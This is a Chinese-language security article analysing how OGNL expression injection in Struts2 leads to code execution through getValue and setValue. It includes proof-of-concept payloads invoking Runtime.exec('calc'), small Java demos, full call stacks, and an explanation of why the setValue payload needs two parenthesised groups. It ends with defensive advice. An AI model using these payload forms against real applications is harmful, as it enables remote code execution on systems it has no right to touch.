OGNL漏洞原理全解
字数 1217 2025-08-10 13:48:25
OGNL漏洞原理详解
0x00 前言
OGNL(Object-Graph Navigation Language)是一种强大的表达式语言,在Struts2框架中被广泛使用。本文将深入解析OGNL漏洞的两种触发方式:getValue和setValue,揭示Struts2漏洞背后的核心机制。
0x01 漏洞触发方式
OGNL漏洞主要通过两种方式触发:
setValue方式getValue方式
常见的payload分为两种形式:
- getValue payload:
"@java.lang.Runtime@getRuntime().exec('calc')" - setValue payload:
(""@java.lang.Runtime@getRuntime().exec('calc')"")(aba)(aba)
0x02 getValue触发分析
基础示例
public static void main(String[] args) throws OgnlException {
Map context = new HashMap();
Ognl.getValue("@java.lang.Runtime@getRuntime().exec(\"calc\")", context, "");
}
完整调用链
exec:347, Runtime (java.lang)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeMethod:491, OgnlRuntime (ognl)
callAppropriateMethod:785, OgnlRuntime (ognl)
callMethod:61, ObjectMethodAccessor (ognl)
callMethod:819, OgnlRuntime (ognl)
getValueBody:75, ASTMethod (ognl)
evaluateGetValueBody:170, SimpleNode (ognl)
getValue:210, SimpleNode (ognl)
getValueBody:109, ASTChain (ognl)
evaluateGetValueBody:170, SimpleNode (ognl)
getValue:210, SimpleNode (ognl)
getValue:333, Ognl (ognl)
getValue:378, Ognl (ognl)
getValue:357, Ognl (ognl)
main:10, TheDemo
关键流程解析
-
parseExpression(expression)
- 将字符串表达式解析为OGNL对象树
- 用于后续的访问和操作对象属性、方法、集合
-
getValue方法
public static Object getValue(String expression, Map context, Object root, Class resultType) throws OgnlException { return getValue(parseExpression(expression), context, root, resultType); } -
SimpleNode.getValue
- 判断是否启用表达式求值跟踪(
context.getTraceEvaluations()) - 默认进入
this.evaluateGetValueBody
- 判断是否启用表达式求值跟踪(
-
evaluateGetValueBody
protected Object evaluateGetValueBody(OgnlContext context, Object source) throws OgnlException { context.setCurrentObject(source); context.setCurrentNode(this); if (!this.constantValueCalculated) { this.constantValueCalculated = true; this.hasConstantValue = this.isConstant(context); if (this.hasConstantValue) { this.constantValue = this.getValueBody(context, source); } } return this.hasConstantValue ? this.constantValue : this.getValueBody(context, source); } -
getValueBody
- 对OGNL树进行遍历、识别和处理
- 通过反射调用
java.lang.Runtime@getRuntime() - 递归解析并触发
exec方法
0x03 setValue触发分析
基础示例
public static void main(String[] args) throws OgnlException {
Map context = new HashMap();
Ognl.setValue("(\"@java.lang.Runtime@getRuntime().exec('calc')\")(a)(b)",context,"");
}
完整调用链
exec:347, Runtime (java.lang)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeMethod:491, OgnlRuntime (ognl)
callAppropriateMethod:785, OgnlRuntime (ognl)
callMethod:61, ObjectMethodAccessor (ognl)
callMethod:819, OgnlRuntime (ognl)
getValueBody:75, ASTMethod (ognl)
evaluateGetValueBody:170, SimpleNode (ognl)
getValue:210, SimpleNode (ognl)
getValueBody:109, ASTChain (ognl)
evaluateGetValueBody:170, SimpleNode (ognl)
getValue:210, SimpleNode (ognl)
getValueBody:58, ASTEval (ognl)
evaluateGetValueBody:170, SimpleNode (ognl)
getValue:210, SimpleNode (ognl)
setValueBody:67, ASTEval (ognl)
evaluateSetValueBody:177, SimpleNode (ognl)
setValue:246, SimpleNode (ognl)
setValue:476, Ognl (ognl)
setValue:511, Ognl (ognl)
setValue:531, Ognl (ognl)
main:10, TheDemo
关键流程解析
-
setValue方法
- 首先解析传入内容,形成对应的node树
- 核心在于
setValueBody方法
-
setValueBody
protected void setValueBody(OgnlContext context, Object target, Object value) throws OgnlException { Object expr = this.children[0].getValue(context, target); Object previousRoot = context.getRoot(); target = this.children[1].getValue(context, target); Node node = expr instanceof Node ? (Node)expr : (Node)Ognl.parseExpression(expr.toString()); try { context.setRoot(target); node.setValue(context, target, value); } finally { context.setRoot(previousRoot); } } -
关键点
this.children[0].getValue(context, target)会根据内容不同跳转到不同的getValue方法- 当
this.children[0]是未拆分的OGNL表达式时,会进行二次解析 - 二次解析会触发getValue流程,从而执行恶意代码
-
括号数量问题
- 两个括号:第一个括号内容需要二次解析,触发getValue流程
- 一个括号:直接执行后续流程,无法触发漏洞
- 因此payload通常需要两个括号,括号内容可以任意
0x04 总结
-
getValue方式
- 直接解析并执行OGNL表达式
- 通过递归调用最终反射执行目标方法
-
setValue方式
- 需要构造特定格式的payload
- 依赖二次解析机制触发getValue流程
- 必须包含两个括号以确保触发解析
-
防御思路
- 限制OGNL表达式的执行权限
- 过滤危险类和方法的调用
- 及时更新Struts2框架版本
理解这两种触发方式的原理,可以更好地分析Struts2系列漏洞,并为防御措施提供理论基础。